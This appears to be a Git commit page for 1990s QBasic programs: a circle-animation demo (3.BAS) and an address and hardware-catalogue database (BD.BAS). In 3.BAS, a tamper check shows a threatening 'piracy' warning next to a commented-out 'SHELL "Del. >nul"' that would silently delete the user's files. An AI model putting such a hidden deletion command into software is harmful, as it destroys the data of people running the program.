C/bas
1
0
Fork 0
Code Issues Pull Requests Projects Releases Wiki Activity

First commit ~0,10

Browse Source
This commit is contained in:
José David Guillén 2021-09-03 17:42:07 +02:00
commit 474d98379e
57 changed files with 16968 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

210
BAS/3.BAS Normal file
View File

@ -0,0 +1,210 @@
'Generador de un reloj digital en pantalla'
DEFINT A-Z
DIM SHARED P(6), A, veces
DIM OldX1(130), OldY1(130), OldX2(130), OldY2(130), OldX3(130), OldY3(130), OldX4(130), OldY4(130), OldX5(130), OldY5(130), OldTipo(100), OldX6(100), OldY6(100), Pt(16)
RANDOMIZE TIMER
X(1) = 400: Y(1) = 175
X(2) = 400: Y(2) = 175
X(3) = 400: Y(3) = 175
X(4) = 400: Y(4) = 175
X(5) = 400: Y(5) = 175
X(6) = 400: Y(5) = 175
Pt(1) = 1
Pt(2) = 1
Pt(3) = 1
Pt(4) = 1
Pt(5) = 1
Pt(6) = 1
mir$ = "Lineas ( Jos‚ David Guill‚n 15/04/94 )"
IF MID$(mir$, 13, 1) <> "‚" THEN PRINT " Programa modificado 1": GOTO errormo
IF MID$(mir$, 26, 1) <> "‚" THEN PRINT " Programa modificado 2": GOTO errormo
P(1) = 0
P(2) = 80
P(3) = 200
P(4) = 280
P(5) = 400
P(6) = 440
P(1) = 0
P(2) = 75
P(3) = 195
P(4) = 275
P(5) = 395
P(6) = 435
SCREEN 9
'***************************************************
'* GRAFICO LINEAL **********************************
'***************************************************
Coor = 1
DO
salida = 0
'IF Pt(4) = 1 THEN M(4) = INT(RND * 8) + 1
IF Pt(3) = 1 THEN M(3) = INT(RND * 8) + 1
IF Pt(2) = 1 THEN M(2) = INT(RND * 8) + 1
IF Pt(5) = 1 THEN M(5) = INT(RND * 8) + 1
IF Pt(6) = 1 THEN M(5) = INT(RND * 8) + 1
IF Pt(1) = 1 THEN M(1) = INT(RND * 8) + 1
Pt(1) = 0
Pt(2) = 0
Pt(3) = 0
Pt(4) = 0
Pt(5) = 0
Pt(6) = 0
qwert = qwert + 1
IF qwert = 7 THEN qwert = 1
IF Cont = 1 THEN M(6) = INT(RND * 7) + 1: M(6) = M(qwert)
DO
Vez = Vez + 1
Vz = Vz + 1
IF Vz >= 30 THEN Vz = 1
IF Vez >= 30 THEN Vez = 1
FOR Coor = 1 TO 6
SELECT CASE M(Coor)
CASE 1: IF Coor <> 6 THEN X(Coor) = X(Coor) - 1: Y(Coor) = Y(Coor) - 1 ELSE X(Coor) = X(Coor) - 1: Y(Coor) = Y(Coor) - 1
CASE 2: IF Coor <> 6 THEN Y(Coor) = Y(Coor) - 1 ELSE Y(Coor) = Y(Coor) - 1
CASE 3: IF Coor <> 6 THEN X(Coor) = X(Coor) + 1: Y(Coor) = Y(Coor) - 1 ELSE X(Coor) = X(Coor) + 1: Y(Coor) = Y(Coor) - 1
CASE 4: IF Coor <> 6 THEN X(Coor) = X(Coor) - 1 ELSE X(Coor) = X(Coor) - 1
CASE 5: M(Coor) = INT(RND * 8) + 1
CASE 6: IF Coor <> 6 THEN Y(Coor) = Y(Coor) + 1 ELSE Y(Coor) = Y(Coor) + 1
CASE 7: IF Coor <> 6 THEN X(Coor) = X(Coor) - 1: Y(Coor) = Y(Coor) + 1 ELSE X(Coor) = X(Coor) - 1: Y(Coor) = Y(Coor) + 1
CASE 8: IF Coor <> 6 THEN X(Coor) = X(Coor) + 1 ELSE X(Coor) = X(Coor) + 1
CASE 9: IF Coor <> 6 THEN X(Coor) = X(Coor) + 1: Y(Coor) = Y(Coor) + 1 ELSE X(Coor) = X(Coor) + 1: Y(Coor) = Y(Coor) + 1
END SELECT
Cont = 0
IF X(Coor) >= 640 THEN
X(Coor) = 640: M(Coor) = INT(RND * 11) - 2
END IF
IF X(Coor) <= 0 THEN
X(Coor) = 0: M(Coor) = INT(RND * 8) + 1
END IF
IF Y(Coor) >= 350 THEN
Y(Coor) = 350: M(Coor) = INT(RND * 10) - 1
END IF
IF Y(Coor) <= 0 THEN
Y(Coor) = 0: M(Coor) = INT(RND * 10) - 1
END IF
OldX1(1) = X(1)
OldX2(1) = X(2)
OldX3(1) = X(3)
OldX4(1) = X(4)
OldX5(1) = X(5)
OldX6(1) = X(6)
OldY1(1) = Y(1)
OldY2(1) = Y(2)
OldY3(1) = Y(3)
OldY4(1) = Y(4)
OldY5(1) = Y(5)
OldY6(1) = Y(6)
NEXT
IF RIGHT$(RTRIM$(LTRIM$(STR$(Vez / 5))), 1) = "0" OR RIGHT$(RTRIM$(LTRIM$(STR$(Vez / 5))), 1) = "5" THEN Vez1 = Vez1 + 1
IF Vez1 >= 16 THEN Vez1 = 1
IF RIGHT$(RTRIM$(LTRIM$(STR$(Vz / 2))), 1) = "0" OR RIGHT$(RTRIM$(LTRIM$(STR$(Vz / 5))), 1) = "5" THEN Vz1 = Vz1 + 1
IF Vz1 >= 16 THEN Vz1 = 1
'LINE (X(1), Y(1))-(X(2), Y(2)), Vez1
'LINE (X(2), Y(2))-(X(3), Y(3)), Vez1
'LINE (X(3), Y(3))-(X(4), Y(4)), Vez1
'
'LINE (X(4), Y(4))-(X(5), Y(5)), Vez1
'LINE (X(5), Y(5))-(X(1), Y(1)), Vez1
CIRCLE (X(1), Y(1)), 5, Vz1: ', , , Tipo
CIRCLE (X(2), Y(2)), 5, Vz1: ', , , Tipo
CIRCLE (X(3), Y(3)), 5, Vz1: ', , , Tipo
CIRCLE (X(4), Y(4)), 5, Vz1: ', , , Tipo
CIRCLE (X(5), Y(5)), 5, Vz1: ', , , Tipo
CIRCLE (X(6), Y(6)), 5, Vz1: ', , , Tipo
d = 70
A = d + 1
WHILE A >= 2
A = A - 1
OldX1(A) = OldX1(A - 1)
OldY1(A) = OldY1(A - 1)
OldX2(A) = OldX2(A - 1)
OldY2(A) = OldY2(A - 1)
OldX3(A) = OldX3(A - 1)
OldY3(A) = OldY3(A - 1)
OldX4(A) = OldX4(A - 1)
OldY4(A) = OldY4(A - 1)
OldX5(A) = OldX5(A - 1)
OldY5(A) = OldY5(A - 1)
OldX6(A) = OldX6(A - 1)
OldY6(A) = OldY6(A - 1)
OldTipo(A) = OldTipo(A - 1)
WEND
CIRCLE (OldX1(d), OldY1(d)), 5, 0
CIRCLE (OldX2(d), OldY2(d)), 5, 0
CIRCLE (OldX3(d), OldY3(d)), 5, 0
CIRCLE (OldX4(d), OldY4(d)), 5, 0
CIRCLE (OldX5(d), OldY5(d)), 5, 0
CIRCLE (OldX6(d), OldY6(d)), 5, 0
'
'
'
' LINE (OldX1(d), OldY1(d))-(OldX2(d), OldY2(d)), 0
' LINE (OldX2(d), OldY2(d))-(OldX3(d), OldY3(d)), 0
' LINE (OldX3(d), OldY3(d))-(OldX4(d), OldY4(d)), 0
'
' LINE (OldX4(d), OldY4(d))-(OldX5(d), OldY5(d)), 0
' LINE (OldX5(d), OldY5(d))-(OldX1(d), OldY1(d)), 0
LOOP WHILE salida <> 1
salida = 0
LOOP
'***************************************************
'* GRAFICOS DE PRUEBA ******************************
'***************************************************
errormo:
CLS
COLOR 15, 0
PRINT " ATENCION !!! PELIGRO !!!!": PRINT : PRINT
PRINT " Alguien modifico ilegalmente el programa tratando de apropiarse de": PRINT
PRINT " los creditos ajenos a ‚l. Su autor a protegido el sistema por ello": PRINT
PRINT " ya que ha intentado modificar este programa causara estragos en tu": PRINT
PRINT " sistema.... LA PIRATERIA SERA TU MUERTE ": PRINT
PRINT : PRINT : PRINT " Desea regresar al Sistema Operativo DOS o bloquear sistema : "
PRINT " (S)istema (B)loquear (S/B)"
'SHELL "Del. >nul"
SYSTEM
END
grap:

548
BAS/BD.BAS Normal file
View File

@ -0,0 +1,548 @@
REM Versi¢n 3.0 en Qbasic de Catalogo (c)
principiodelprincipio:
ON ERROR GOTO corrector
KEY OFF
pp:
CLEAR
DIM lec$(12), lot$(12), t$(50), fet$(50), a$(50), tele$(50)
KEY(1) ON
KEY(2) ON
KEY(3) ON
ON KEY(1) GOSUB help
ON KEY(2) GOSUB impr
ON KEY(3) GOSUB finp
CLS
GOSUB menu1
GOSUB cargachar
COLOR 1, 7
l = 1
GOSUB secuencia
espera:
KEY(11) ON
KEY(14) ON
ON KEY(11) GOSUB sube
ON KEY(14) GOSUB baja
espera3:
i$ = INKEY$
IF i$ = "" THEN GOTO espera3
IF i$ = CHR$(13) THEN GOTO ejecuta
IF i$ = CHR$(27) THEN GOSUB help
GOTO espera3
sube:
ant = l
IF l = 1 THEN l = 5 ELSE l = l - 1
GOSUB secuencia
RETURN
baja:
ant = l
IF l = 6 THEN l = 1 ELSE l = l + 1
GOSUB secuencia
RETURN
secuencia:
IF l = -1 THEN l = 5
IF l = 6 THEN l = 1
IF ant = 0 THEN ant = 1
COLOR 7, 1, 1
LOCATE 2 * ant, 2: PRINT lot$(ant)
COLOR 4, 7
LOCATE 2 * l, 2: PRINT lec$(l): RETURN
END
ejecuta:
KEY(11) OFF
KEY(14) OFF
KEY(2) OFF
KEY(1) OFF
COLOR 7, 1, 1
ON l GOTO ip, mp, sp, bp, c
END
ip:
entrada = 0: jk = 0
nom$ = "": ape$ = "": cal$ = "": num$ = "": pis$ = "": let$ = "": tel$ = ""
GOSUB menu2
OPEN "fich1.dat" FOR RANDOM AS #1 LEN = 70
FOR x = 1 TO LOF(1) / 70
jk = jk + 1
FIELD #1, 21 AS nom$, 31 AS ape$, 18 AS tel$
GET #1, x
IF nom$ = " " THEN entrada = jk: GOTO ent
NEXT x
entrada = jk + 1
ent:
CLOSE #1
IF entrada = 0 THEN entrada = 1
LOCATE 12, 47: PRINT entrada
pieza = 0
empi:
a$ = "": b$ = "": c$ = "": d$ = ""
IF pieza <> 3 THEN LOCATE 12, 55: PRINT STRING$(22, " ")
lon = 21: lin = 14: col = 11: tipo$ = " ..z": origen$ = nom$: GOSUB limlin: nom$ = texto$
IF nom$ <> " " AND pieza = 3 THEN a$ = nom$: k = 1: RETURN
IF pieza = 3 THEN GOTO saltito
IF nom$ = " " THEN GOTO principiodelprincipio
saltito:
lon = 31: lin = 14: col = 45: tipo$ = " ..z": origen$ = ape$: GOSUB limlin: ape$ = texto$
IF ape$ <> " " AND pieza = 3 THEN b$ = ape$: k = 2: RETURN
IF pieza = 3 THEN GOTO salto
lon = 21: lin = 16: col = 11: tipo$ = " ..z": origen$ = cal$: GOSUB limlin: cal$ = texto$
lon = 4: lin = 16: col = 38: tipo$ = "0..9": origen$ = num$: GOSUB limlin: num$ = texto$
lon = 3: lin = 16: col = 50: tipo$ = " ..z": origen$ = pis$: GOSUB limlin: pis$ = texto$
lon = 4: lin = 16: col = 62: tipo$ = " ..z": origen$ = let$: GOSUB limlin: let$ = texto$
salto:
lon = 18: lin = 18: col = 14: tipo$ = " ..z": origen$ = loc$: GOSUB limlin: loc$ = texto$
IF loc$ <> " " AND pieza = 3 THEN c$ = loc$: k = 3: RETURN
lon = 14: lin = 18: col = 45: tipo$ = " ..z": origen$ = pro$: GOSUB limlin: pro$ = texto$
IF pro$ <> " " AND pieza = 3 THEN d$ = pro$: k = 4: RETURN
IF pieza = 3 THEN pieza = 0: RETURN
lon = 11: lin = 18: col = 66: tipo$ = "0..9": origen$ = cod$: GOSUB limlin: cod$ = texto$
lon = 18: lin = 20: col = 14: tipo$ = " ..z": origen$ = tel$: GOSUB limlin: tel$ = texto$
lon = 12: lin = 22: col = 20: tipo$ = " ..z": origen$ = cpu$: GOSUB limlin: cpu$ = texto$
lon = 6: lin = 22: col = 39: tipo$ = " ..z": origen$ = ram$: GOSUB limlin: ram$ = texto$
lon = 8: lin = 22: col = 51: tipo$ = " ..z": origen$ = tg$: GOSUB limlin: tg$ = texto$
lon = 12: lin = 22: col = 66: tipo$ = " ..z": origen$ = hd$: GOSUB limlin: hd$ = texto$
LOCATE 12, 60: PRINT "¨Todo correcto?"
pr:
i$ = INKEY$
IF i$ = "" THEN GOTO pr
IF i$ = "S" OR i$ = "s" THEN GOTO cont ELSE GOTO empi
cont:
OPEN "fich1.dat" FOR RANDOM AS #1 LEN = 70
FIELD #1, 21 AS nom2$, 31 AS ape2$, 18 AS TEL2$
LSET nom2$ = nom$: LSET ape2$ = ape$: LSET TEL2$ = tel$
IF valor = 3 THEN PUT #1, lf ELSE PUT #1, entrada
CLOSE #1
OPEN "fich2.dat" FOR RANDOM AS #1 LEN = 75
FIELD #1, 21 AS cal2$, 4 AS NUM2$, 3 AS PIS2$, 4 AS LET2$, 18 AS loc2$, 14 AS pro2$, 11 AS cod2$
LSET cal2$ = cal$: LSET NUM2$ = num$: LSET PIS2$ = pis$: LSET LET2$ = let$: LSET loc2$ = loc$: LSET pro2$ = pro$: LSET cod2$ = cod$
IF valor = 3 THEN PUT #1, lf ELSE PUT #1, entrada
CLOSE #1
OPEN "fich3.dat" FOR RANDOM AS #1 LEN = 38
FIELD #1, 12 AS cpu2$, 6 AS ram2$, 8 AS tg2$, 12 AS hd2$
LSET cpu2$ = cpu$: LSET ram2$ = ram$: LSET tg2$ = tg$: LSET hd2$ = hd$
IF valor = 3 THEN PUT #1, lf ELSE PUT #1, entrada
CLOSE #1
IF valor = 3 THEN RETURN
LOCATE 12, 55: PRINT "¨Seguir introduciendo?"
we:
i$ = INKEY$
IF i$ = "" THEN GOTO we
IF i$ = "S" OR i$ = "s" THEN GOTO ip ELSE GOTO principiodelprincipio
ep:
GOSUB menu2
LOCATE 12, 34: PRINT "Utilice + y - para ver las fichas"
k = 0
mirp:
lf = 0
CLOSE #1, #2, #3
OPEN "fich1.dat" FOR RANDOM AS #1 LEN = 70
OPEN "fich2.dat" FOR RANDOM AS #2 LEN = 75
OPEN "fich3.dat" FOR RANDOM AS #3 LEN = 38
lf = 0
'DO WHILE lf <> LOF(1) / 70 + 1
vez = 1
DO
pro:
COLOR 7, 1, 1: LOCATE 12, 75: PRINT " "
IF lf = 0 THEN lf = 1
FIELD #1, 21 AS nom$, 31 AS ape$, 18 AS tel$
FIELD #2, 21 AS cal$, 4 AS num$, 3 AS pis$, 4 AS let$, 18 AS loc$, 14 AS pro$, 11 AS cod$
FIELD #3, 12 AS cpu$, 6 AS ram$, 8 AS tg$, 12 AS hd$
GET #1, lf
GET #2, lf
GET #3, lf
g = 0
IF k = 1 AND UCASE$(RTRIM$(LTRIM$(a$))) <> UCASE$(MID$(nom$, 1, LEN(RTRIM$(LTRIM$(a$))))) THEN GOSUB pw
IF k = 2 AND UCASE$(RTRIM$(LTRIM$(b$))) <> UCASE$(MID$(ape$, 1, LEN(RTRIM$(LTRIM$(b$))))) THEN GOSUB pw
IF k = 3 AND UCASE$(RTRIM$(LTRIM$(c$))) <> UCASE$(MID$(loc$, 1, LEN(RTRIM$(LTRIM$(c$))))) THEN GOSUB pw
IF k = 4 AND UCASE$(RTRIM$(LTRIM$(d$))) <> UCASE$(MID$(pro$, 1, LEN(RTRIM$(LTRIM$(d$))))) THEN GOSUB pw
IF g = 1 THEN GOTO pro
IF nom$ = " " AND r = 0 THEN lf = lf + 1: GOTO pro
IF nom$ = " " AND r = 1 THEN lf = lf - 1: GOTO pro
vez = 0
COLOR 14
LOCATE 14, 11: PRINT nom$
LOCATE 14, 45: PRINT ape$
LOCATE 16, 11: PRINT cal$
LOCATE 16, 38: PRINT num$
LOCATE 16, 50: PRINT pis$
LOCATE 16, 62: PRINT let$
LOCATE 18, 14: PRINT loc$
LOCATE 18, 45: PRINT pro$
LOCATE 18, 66: PRINT cod$
LOCATE 20, 14: PRINT tel$
LOCATE 22, 20: PRINT cpu$
LOCATE 22, 39: PRINT ram$
LOCATE 22, 51: PRINT tg$
LOCATE 22, 66: PRINT hd$
COLOR 7, 1, 1
nom$ = nom$: ape$ = ape$: cal$ = cal$: num$ = num$: pis$ = pis$: let$ = let$: loc$ = loc$: pro$ = pro$
cod$ = cod$: tel$ = tel$: cpu$ = cpu$: ram$ = ram$: tg$ = tg$: hd$ = hd$
tipo = 0
COLOR 5, 1, 1: LOCATE 12, 75: PRINT "+ -": COLOR 7, 1, 1
t:
w$ = INKEY$: IF w$ = "" THEN GOTO t
IF w$ = "+" THEN lf = lf + 1: r = 0
IF w$ = "-" THEN lf = lf - 1: r = 1
IF w$ = CHR$(27) THEN GOTO principiodelprincipio
IF w$ = CHR$(13) AND valor = 3 THEN CLOSE #1, #2, #3: RETURN
IF w$ = CHR$(13) AND valor = 2 THEN CLOSE #1, #2, #3: RETURN
IF lf > LOF(1) / 70 THEN lf = lf - 1: GOTO t
IF lf = 0 OR lf = -1 THEN lf = 1: GOTO t
IF tipo = 1 THEN GOTO pro
LOOP
CLOSE #1, #2, #3
END
pw:
IF vez = 1 AND r = 0 THEN lf = lf + 1: g = 1
IF vez = 1 AND r = 1 THEN lf = lf - 1: g = 1
IF g = 0 AND r = 0 THEN lf = lf + 1
IF g = 0 AND r = 1 THEN lf = lf - 1
IF lf > LOF(1) / 70 AND vez = 1 THEN GOTO filenotfound
IF lf > LOF(1) / 70 THEN lf = lf - 1: GOTO t
IF lf = 0 OR lf = -1 THEN lf = 1: GOTO t
'IF r = 0 THEN lf = lf + 1
'IF r = 1 THEN lf = lf - 1
tipo = 1
g = 1
RETURN
END
mp:
valor = 0
GOSUB menu2
valor = 3
LOCATE 12, 34: PRINT "Use + o - y <ÄÙ para editar ficha "
GOSUB mirp
GOSUB empi
LOCATE 12, 34: PRINT "¨Desea modificar otra ficha? "
r:
i$ = INKEY$: IF i$ = "" THEN GOTO r
IF i$ = "S" OR i$ = "s" THEN GOTO mp ELSE GOTO principiodelprincipio
bp:
valor = 0
GOSUB menu2
valor = 3
LOCATE 12, 34: PRINT "Use + o - y <ÄÙ para borrar ficha "
GOSUB mirp
nom$ = " ": ape$ = " ": cal$ = " ": num$ = " ": pis$ = " ": let$ = " ": loc$ = " ": pro$ = " "
cod$ = " ": tel$ = " ": cpu$ = " ": ram$ = " ": tg$ = " ": hd$ = " "
LOCATE 12, 34: PRINT "Pulse 'S' si desea eliminarla "
r3:
i$ = INKEY$: IF i$ = "" THEN GOTO r3
IF i$ = "S" OR i$ = "s" THEN GOTO po ELSE GOTO principiodelprincipio
po:
GOSUB cont
LOCATE 12, 34: PRINT "¨Desea eliminar otra ficha? "
r2:
i$ = INKEY$: IF i$ = "" THEN GOTO r2
IF i$ = "S" OR i$ = "s" THEN GOTO bp ELSE GOTO principiodelprincipio
finentrada:
END
impr:
REM FICHERO PARA IMPRIMIR
COLOR 14, 1, 1
LOCATE 14, 34: PRINT "Esta usd. en la secci¢n de impresion."
LOCATE 15, 34: PRINT "Cerciorese de que la impresora este"
LOCATE 16, 34: PRINT "encendida y de que tenga papel."
LOCATE 18, 34: PRINT " Pulse una tecla..."
N:
q$ = INKEY$: IF q$ = "" THEN GOTO N
IF q$ = CHR$(27) THEN RUN
FOR a = 14 TO 18: LOCATE a, 34: PRINT STRING$(38, " "): NEXT
LOCATE 15, 20: PRINT "Elija modo de impresion:"
LOCATE 17, 25: PRINT "(a) Lista simple"
LOCATE 18, 25: PRINT "(b) Lista completa"
hn:
q$ = INKEY$: IF q$ = "" THEN GOTO hn
IF q$ = CHR$(27) THEN RUN
IF q$ = "A" OR q$ = "a" THEN GOTO ls
IF q$ = "B" OR q$ = "b" THEN GOTO lc
GOTO hn
ls:
OPEN "fich1.dat" FOR RANDOM AS #1 LEN = 70
FOR x = 1 TO LOF(1) / 70
FIELD #1, 21 AS nom$, 31 AS ape$, 18 AS tel$
GET #1, x
IF nom$ = " " THEN GOTO continua
LPRINT ape$ + ", " + nom$ + " " + tel$
b = b + 1: IF b = 50 THEN GOSUB finlista
continua:
NEXT x
CLOSE #1
RUN
finlista:
COLOR 14, 1, 1
LOCATE 14, 34: PRINT "Cuando deje de imprimir ponga papel"
LOCATE 15, 34: PRINT " Pulse entonces una tecla para "
LOCATE 16, 34: PRINT " continuar listando."
COLOR 7, 1, 1
m:
IF INKEY$ = "" THEN GOTO m
LOCATE 14, 34: PRINT " "
LOCATE 15, 34: PRINT " "
LOCATE 16, 34: PRINT " "
b = 0: RETURN
lc:
valor = 2
COLOR 7, 1, 1
GOSUB menu2
LOCATE 12, 34: PRINT "Seleccione ficha a imprimir... "
GOSUB mirp
LPRINT " Base de Datos, JD... vú1.0 ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿";
LPRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³±";
LPRINT "³ ³±";
LPRINT "³ Nombre: " + nom$ + " Apellidos: " + ape$ + " ³±";
LPRINT "³ ³±";
LPRINT "³ Calle: " + cal$ + " N§: " + num$ + " Piso: " + pis$ + " Letra: " + let$ + " ³±";
LPRINT "³ ³±";
LPRINT "³ Localidad: " + loc$ + " Provincia: " + pro$ + " C.P: " + cod$ + " ³±";
LPRINT "³ ³±";
LPRINT "³ Tel‚fono: " + tel$ + " ³±";
LPRINT "³ ³±";
LPRINT "³ Ordenador, CPU: " + cpu$ + " RAM: " + ram$ + " TG: " + tg$ + " HD: " + hd$ + " ³±";
LPRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ±";
LPRINT " ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±";
LOCATE 12, 34: PRINT "Cuando deje de imprimir, pulse una tecla"
SLEEP
RUN
sp:
valor = 0: pieza = 3
GOSUB menu2
LOCATE 12, 34: PRINT "Introduzca parte a buscar... "
lili:
GOSUB empi
IF pieza = 0 THEN pieza = 3: GOTO lili
GOTO mirp
RUN
filenotfound:
LOCATE 12, 34: COLOR 4, 1, 1: PRINT "Ficha no encontrada "
COLOR 7, 1, 1
sl: IF INKEY$ = "" THEN GOTO sl
GOTO sp
END
c:
COLOR 7, 1, 1
LOCATE 14, 33: PRINT " (c) B A S E de D A T O S "
LOCATE 16, 33: PRINT " Pantallas y programa ... "
COLOR 12
LOCATE 18, 33: PRINT " Jos‚ David Guill‚n "
LOCATE 19, 33: PRINT " c/ Pintor Garcias Ramos n.5 2D "
COLOR 7, 1, 1
LOCATE 21, 33: PRINT "Puede mandar un donativo de 10.000.000"
pause:
IF INKEY$ = "" THEN GOTO pause
FOR q = 14 TO 22: LOCATE q, 33: PRINT SPC(37); : NEXT q
GOTO principiodelprincipio
END
menu1:
COLOR 7, 1, 1
CLS
PRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÜ ßßßßßßßÛ ÛßßÜ ³ø Base de Datos ø³ ";
PRINT "³ Introducir Û Û Û ßÜ ³ø vú 1.0 ø³ ";
PRINT "³ Û Û Û ßÜ ³ø ø³ ";
PRINT "³ Editar / Modificar Û Û Û Û ³ø F1 Help ø³ ";
PRINT "³ Û Û Û Û Üß ³ø F2 Imprimir ø³ ";
PRINT "³ Buscar Û Û Û Û Üß Ü³ø F3 Exit to DOS ø³Ü ";
PRINT "³ Û ßÜÜÜÜß ÛÜÜß ÛÛ ÜÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÜ";
PRINT "³ Eliminar Û ÛÛÛÛonÛlineÛ°ÛlfÛ°ÛÛÛÛÛÛ";
PRINT "³ Û Jos‚ David Guill‚n '93 ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ";
PRINT "³ - Creditos - Û "
PRINT "ÀÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿";
PRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³±";
PRINT "³ ³±"
PRINT "³ ³±"
PRINT "³ ³±"
PRINT "³ ³±"
PRINT "³ ³±"
PRINT "³ ³±"
PRINT "³ ³±"
PRINT "³ ³±"
PRINT "³ ³±"
PRINT "³ ³±"
PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ±";
PRINT " ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±";
RETURN
menu2:
LOCATE 11, 1
PRINT "ÀÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿";
PRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ N§ de Ficha: ³±";
PRINT "³ ³±"
PRINT "³ Nombre: Apellidos: ³±"
PRINT "³ ³±"
PRINT "³ Calle: N§: Piso: Letra: ³±"
PRINT "³ ³±"
PRINT "³ Localidad: Provincia: C.P: ³±"
PRINT "³ ³±"
PRINT "³ Tel‚fono: ³±"
PRINT "³ ³±"
PRINT "³ Ordenador, CPU: RAM: TG: HD: ³±"
PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ±";
PRINT " ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±";
RETURN
cargachar:
lec$(1) = "þ INTRODUCIR "
lec$(2) = "þ EDITAR / MODIFICAR "
lec$(3) = "þ BUSCAR "
lec$(4) = "þ ELIMINAR "
lec$(5) = "þ - CREDITOS - "
lot$(1) = " Introducir "
lot$(2) = " Editar / Modificar "
lot$(3) = " Buscar "
lot$(4) = " Eliminar "
lot$(5) = " - Creditos - "
RETURN
END
limlin:
'(LIM)ite -de- (LIN)ea
'Lon=longitud lin=linea col=columna tipo$=" ..z"
LOCATE lin, col: PRINT origen$
LOCATE lin, col: PRINT "þ"
FOR a = 1 TO lon
x:
a$ = INKEY$: IF a$ = "" THEN GOTO x
IF a$ = CHR$(13) THEN GOTO finsec
IF a$ = CHR$(27) THEN GOTO principiodelprincipio
IF a$ = CHR$(8) THEN GOTO borra ELSE GOTO ponchar
borra:
a = a - 1: IF a < 1 THEN a = 1
LOCATE lin, col + a - 1: PRINT " ": LOCATE lin, col + a - 1: PRINT "þ ": GOTO x
ponchar:
IF a$ < LEFT$(tipo$, 1) OR a$ > RIGHT$(tipo$, 1) THEN GOTO x
IF a = 1 THEN origen$ = STRING$(lon, " "): LOCATE lin, col: PRINT origen$
LOCATE lin, col + a - 1: PRINT a$; : IF a <> lon THEN PRINT "þ" ELSE GOTO x
NEXT a
finsec:
IF a = 1 THEN LOCATE lin, col: PRINT origen$
texto$ = ""
FOR i = 1 TO lon
IF LEN(origen$) <> lon THEN digi$ = " " ELSE digi$ = MID$(origen$, i, 1)
IF CHR$(SCREEN(lin, col + i - 1)) = "þ" THEN texto$ = texto$ + digi$ ELSE texto$ = texto$ + CHR$(SCREEN(lin, col + i - 1))
NEXT
LOCATE lin, col: COLOR 1, 7: PRINT texto$: COLOR 7, 1, 1
PLAY "b64": RETURN
corrector:
IF ERR = 52 OR ERR = 53 THEN fallo = 1: GOTO contrif
IF ERR = 27 THEN GOTO nohaypapel
GOTO fallonoloc
contrif:
RESUME NEXT
END
nohaypapel:
COLOR 14, 1, 1
BEEP
LOCATE 13, 34: PRINT "No hay papel."
LOCATE 13, 34: PRINT " "
GOTO impr
fallonoloc:
COLOR 15, 1, 1
LOCATE 13, 33: PRINT "Fallo:", ERR; "RESET PROGRAM"
LOCATE 14, 33: PRINT "PULSE UNA TECLA: ..(JD).."
rti:
IF INKEY$ = "" THEN GOTO rti
RUN
help:
COLOR 7, 1, 1
LOCATE 14, 34: PRINT "Ayuda basica, JD."
LOCATE 16, 34: PRINT "Use los cursores, para acceder a"
LOCATE 17, 34: PRINT "los men£s."
LOCATE 18, 34: PRINT "Presione intro para 'entrar'."
LOCATE 19, 34: PRINT "Pulse ESC para retroceder en un Menu."
LOCATE 21, 34: PRINT " Pulse una tecla"
retorico:
IF INKEY$ = "" THEN GOTO retorico
COLOR 7, 1, 1: FOR wq = 13 TO 21: LOCATE wq, 34: PRINT STRING$(37, " "): NEXT
RETURN
END
finp:
COLOR 7, 0, 0
CLS
PRINT " JD, Base de DATOS vú1.0 "
PRINT : PRINT "Gracias por utilizar este sofware."
END

2809
BAS/CAT3.BAS Normal file
View File

File diff suppressed because it is too large Load Diff

912
BAS/CATALOG2.BAS Normal file
View File

@ -0,0 +1,912 @@
principiodelprincipio:
REM Versi¢n 3.0 en Qbasic de Catalogo (c)
KEY OFF
